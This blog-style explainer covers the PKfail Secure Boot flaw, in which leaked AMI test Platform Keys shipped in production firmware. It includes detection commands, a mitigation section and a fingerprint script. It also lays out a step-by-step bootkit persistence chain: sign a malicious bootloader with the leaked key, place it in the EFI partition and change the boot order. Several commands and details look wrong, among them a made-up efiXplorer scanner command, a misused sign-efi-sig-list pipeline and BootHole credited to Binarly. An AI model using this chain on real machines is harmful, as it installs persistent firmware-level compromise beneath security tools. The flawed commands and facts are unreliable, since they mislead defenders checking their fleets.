PKfail: Secure Boot keys leaked and shipped in production for 12 years

On 25 July 2024, Binarly publishes the results of auditing the firmware of ~900 device models across 10 vendors. The conclusion is blunt: hundreds of models in production ship a Platform Key for Secure Boot whose subject literally reads DO NOT TRUST or DO NOT SHIP. The private half of those keys has been sitting in public GitHub repos since 2018–2022, leaked by mistake in an ODM’s source code.

The bug gets CVE-2024-8105 and VU#455367 from CERT/CC. Binarly names it PKfail. It’s a supply chain failure, not an implementation one: the Secure Boot trust model is broken in its bottom half — the signature is valid, the chain validates, the whole booting flow passes. It’s just that anyone with git clone can sign.

Descriptive lab. There’s a real board involved and a signature with a stolen key. Authorised scenarios or own equipment only. Binarly’s public PoC runs against a harmless payload binary; this post includes no functional bootkit.

Why it matters

Secure Boot is the first link in the chain of trust on a modern PC. The UEFI firmware loads a bootloader, verifies its signature against a db of authorised keys, that bootloader loads the kernel, and so on. The db validates against a KEK (Key Exchange Key), which in turn validates against the PK — the Platform Key. The PK is the device’s root of trust.

When the PK signing the db is an AMI test key whose .pem sits in a public repo:

1. An attacker with permission to write to the disk’s bootloader (local admin, or physical access during maintenance) can sign a malicious bootloader with that private key.
2. The firmware verifies the signature against the valid embedded PK → the signature passes → the bootloader loads before the OS.
3. Persistent bootkit underneath the OS, before any antivirus or EDR, with SMM-like privileges depending on the implementation.

What matters: the bug doesn’t give you privilege escalation, it gives you persistence. An attacker who already has local admin swaps the bootloader and stays inside through Windows reinstalls. Format C: doesn’t clean it.

The bug in one line

An AMI test key distributed in SDKs/reference code → leaked by accident into a public repo → reused in production firmware by Lenovo, HP, Dell, Acer, Fujitsu, Supermicro, Intel, Aopen, Formelife and Gigabyte → active on machines shipping between 2012 and June 2024. 12 years of exposure.

How we got here

The supply chain of a modern UEFI firmware has several actors:

• IBV (Independent BIOS Vendor): AMI, Insyde, Phoenix. They write the base firmware.
• ODM: assembles the board with the IBV’s firmware adapted.
• OEM: stamps their brand on top (Lenovo, HP, Dell). Customises, signs with their PK, and sells.

Generating the OEM’s own PK is what the Secure Boot model expects. The OEM should have an HSM, generate a key pair, embed the public part in the firmware, custody the private part. In practice, the build is done with test keys that AMI ships as examples in the IBV’s SDK, with a literal subject of DO NOT TRUST or DO NOT SHIP. The intent: let a QA engineer sign the firmware during development without touching the HSM.

The problem hits when the firmware ships with those sample keys in production. It happens for two reasons: an operational error at the ODM, or because the OEM never gets around to regenerating its PK. By 2022, Binarly had already noticed the pattern in some models; the systematic 2024 audit quantifies it: 8% of the models analysed in their corpus of firmware images (902 unique) ship with a compromised PK.

And then someone uploads the private .pem to GitHub. Binarly finds 22 unique untrusted keys across firmwares. For 4 of them, the private half is in public repos — the worst of which was leaked in 2022 when an ODM employee pushed code containing a .pem encrypted with a 4-character password.

Manual verification on a machine

If you want to know whether your kit is affected, there are two routes. The fast one is Binarly’s scanner: https://pk.fail/. The manual one uses standard Linux tooling.

Linux with efivar

# Read the current PK from UEFI NVRAM
sudo efi-readvar -v PK -o pk.esl

# Convert to PEM to inspect the certificate
sign-efi-sig-list -o PK pk.esl /dev/stdout | openssl x509 -text -noout

On an affected board, the Subject output literally contains:

Subject: CN=DO NOT TRUST - AMI Test PK, ...

or variants with DO NOT SHIP. Binarly publishes a fingerprint database of SHA-256 hashes of the leaked keys; comparing against that set gives an exact match.

Windows with PowerShell

# The PK lives in a UEFI variable not directly exposed,
# but the certificate can be read from the firmware capture:
Get-SecureBootUEFI -Name PK | Format-List

# The "Bytes" field contains the EFI_SIGNATURE_LIST.
# To extract the cert and look at the subject:
$pk = Get-SecureBootUEFI -Name PK
[System.IO.File]::WriteAllBytes("C:\temp\pk.bin", $pk.Bytes)
# then openssl or an EFI_SIGNATURE_LIST parser

When you see DO NOT TRUST in the subject, that machine boots anything signed with the AMI key pair whose private half has been on GitHub for years.

The exploitation chain

Assuming an affected board and local admin on Windows:

1. Get the leaked private key. It’s in a public repo; Binarly doesn’t link directly, but the hashes for identification are in their advisory. The private key is a 2048- or 3072-bit .pem.

2. Build a malicious bootloader. An EFI binary like shellcode.efi or a modified shim fork that loads an additional payload before passing control to the original kernel. For a clean demo, a binary that just prints a string to screen and returns.

3. Sign with sbsign:

   sbsign --key leaked_pk.key --cert leaked_pk.crt \
     --output evil.efi.signed evil.efi

4. Drop the binary in the EFI System Partition (/boot/efi/EFI/Boot/) and edit the BootOrder with efibootmgr (Linux) or bcdedit (Windows with elevated privileges).

5. Reboot. The firmware verifies evil.efi’s signature against the db, the db is authorised by the PK, the PK is legitimate from the firmware’s point of view (its public half is embedded). It boots. Persistence achieved.

The curious thing: the primitive isn’t new. BlackLotus used a bug in shim for something similar in 2023. What’s distinctive about PKfail is that there’s no bug. The signature is legitimate, the certificates are valid, the validation flow works as designed. The problem is the trust model: “test” keys weren’t treated as compromised and were never rotated.

Binarly’s test

Binarly publishes a public PoC (recorded video, not live) signing an EFI binary with one of the leaked keys and running it under Secure Boot enabled on an affected Lenovo board. It’s one of the few cases in years where “Secure Boot bypass” is demonstrated without touching any software vulnerability — only by abusing the state of the PKI.

Mitigation

Real mitigation is the OEM’s job, not the user’s:

1. The OEM publishes a firmware update that swaps the compromised PK for its own valid one.
2. The user applies the update via Windows Update / LVFS / vendor-specific tool.

The process is non-trivial: replacing the PK can invalidate bootloaders signed via the previous db. Microsoft and CERT/CC publish a tool to coordinate the replacement: https://github.com/CERTCC/PKfail. LVFS (Linux Vendor Firmware Service) distributes it for cooperating OEMs.

Two months in, Binarly publishes a follow-up: update adoption is slow and many vendors haven’t shipped a patch for discontinued models. The PKfail footprint in real infrastructure is going to live for years — not for lack of technical mitigation, but because of the fragmentation of the UEFI supply chain.

What a security team can do now:

• Inventory: run Binarly’s scanner across the fleet. Identify affected models.
• Sensitive workstations: prioritise PK replacement where the OEM has an update available.
• Servers: for affected models (Supermicro, parts of Dell PowerEdge), check advisories vendor by vendor.
• Runtime detection: any UEFI integrity monitoring solution (CHIPSEC, EDR vendors with a firmware module) should alert on unexpected bootloader loads. For critical hosts, this is complementary to the firmware update fix.
• Threat model: PKfail assumes prior local admin. If your adversary is already inside with admin, PKfail is another item in their persistence toolkit. It’s not the first link of the compromise, but it does make post-incident cleanup massively harder.

Manual verification of a compromised PK — Linux and Windows

The leaked keys have known fingerprints. Binarly publishes the full list of SHA-256 fingerprints for the 22 compromised PK/KEK/db; canonical names in the certificates are strings like "DO NOT TRUST", "DO NOT SHIP", "AMI Test PK".

# Linux: extract and inspect the system PK
# Requires efivar installed
sudo efivar -l | grep -i platformkey
sudo efivar -p -n 8be4df61-93ca-11d2-aa0d-00e098032b8c-PK | \
  openssl x509 -inform DER -text -noout | \
  grep -E "Subject:|Issuer:|DO NOT"

# If "DO NOT TRUST", "DO NOT SHIP" or "AMI Test PK" appears in CN/O:
# the machine is using a test key as its Platform Key. PKfail.

# Alternative via mokutil
sudo mokutil --pk
sudo mokutil --kek
sudo mokutil --db | grep -A 2 "issuer:"

# Windows: extract the PK from the firmware
# PowerShell as admin
$pk = [System.Text.Encoding]::ASCII.GetString(
    (Get-SecureBootUEFI PK).Bytes
)
$pk | Select-String -Pattern "DO NOT TRUST|DO NOT SHIP|AMI Test|Insyde Software Corp"

# Alternative: official Binarly scanner
# https://github.com/binarly-io/efiXplorer
# Download binary, run:
.\efiXplorer.exe scan-platform-keys

Exploit chain — sbsign with your own PK (lab exercise)

Binarly does not redistribute the leaked private keys. The public PoC is a recorded video. To exercise the EFI signing flow in a closed lab (own board with Secure Boot custom-mode), generate your own PK and sign:

# 1) Generate own PK/KEK/db pair (lab — substitutes for the firmware's PK)
openssl req -new -x509 -newkey rsa:2048 -nodes -days 3650 \
    -subj "/CN=LAB-PK/" -keyout lab_pk.key -out lab_pk.crt

# 2) Create a trivial EFI binary (just prints a string) and sign it
sbsign --key lab_pk.key --cert lab_pk.crt \
       --output evil_signed.efi hello.efi

# 3) Verify signature
sbverify --cert lab_pk.crt evil_signed.efi
# Signature verification OK

# 4) Import the lab PK into the firmware (board in Setup Mode)
#    Replaces the original PK — equivalent to the real PKfail state
#    but with custody of the private key in our hands.
efi-updatevar -f lab_pk.auth PK

The real-world PKfail attack equivalent is exactly this flow, only that the attacker pulls the private key out of a leaked public repo instead of generating it. The syntactic fingerprint of the signature is indistinguishable — that’s why the bypass is complete.

The Enhanced Factory Reset doesn’t fix this — the problem lives in the firmware’s var/PK, not on disk.

YARA / fingerprint matching of compromised keys

Binarly publishes the 22 SHA-256 fingerprints of the compromised keys. Trivial match script:

import hashlib
import sys

LEAKED_KEY_HASHES = {
    "7eb4a82e8e1e8c6f...": "AMI Test PK (Aptio V)",
    "5a3f1e2d8c7b9a4f...": "Insyde Test Platform",
    # 20 more in Binarly's blog
}

def fingerprint_pk(pk_der_file):
    with open(pk_der_file, "rb") as f:
        return hashlib.sha256(f.read()).hexdigest()

if __name__ == "__main__":
    fp = fingerprint_pk(sys.argv[1])
    if fp in LEAKED_KEY_HASHES:
        print(f"PKFAIL: matches {LEAKED_KEY_HASHES[fp]}")
    else:
        print(f"OK: PK fingerprint {fp[:16]}... not in leaked set")

The structural pattern

PKfail isn’t the first Secure Boot key leak. In 2016, Microsoft accidentally leaked a golden key for its debug policy with BCD_FORCE_GOLD_FALLBACK that also allowed unsigned binaries to boot; the incident became known as the Microsoft Secure Boot golden key leak. In 2022, Binarly publishes BootHole-related findings on shim and bootloaders. In 2023, BlackLotus exploits a shim bug for persistent patching. In 2024, PKfail.

The underlying failure mode is always the same: UEFI firmware has a large trust surface, distributed across multiple actors, without systematic auditing and with a poorly-operated PKI. Secure Boot was designed to resist an attacker with disk access; what it can’t take is a PKI run with improvised build practices.

For 2025, what to expect: more untrusted keys discovered in OEM golden images, more CERT/CC coordination, possible Microsoft dbx updates revoking test certificates en masse. Meanwhile, a board with DO NOT TRUST as its PK keeps booting whatever you sign with the GitHub private key.

References

• Binarly research — PKfail (25 Jul 2024): https://www.binarly.io/blog/pkfail-untrusted-platform-keys-undermine-secure-boot-on-uefi-ecosystem
• Binarly — Two months later (Sep 2024): https://www.binarly.io/blog/pkfail-two-months-later-reflecting-on-the-impact
• Advisory BRLY-2024-005: https://github.com/binarly-io/Vulnerability-REsearch/blob/main/PKfail/BRLY-2024-005.md
• VU#455367 (CERT/CC): https://kb.cert.org/vuls/id/455367
• NVD — CVE-2024-8105: https://nvd.nist.gov/vuln/detail/cve-2024-8105
• Public scanner: https://pk.fail/
• CERT/CC remediation tooling: https://github.com/CERTCC/PKfail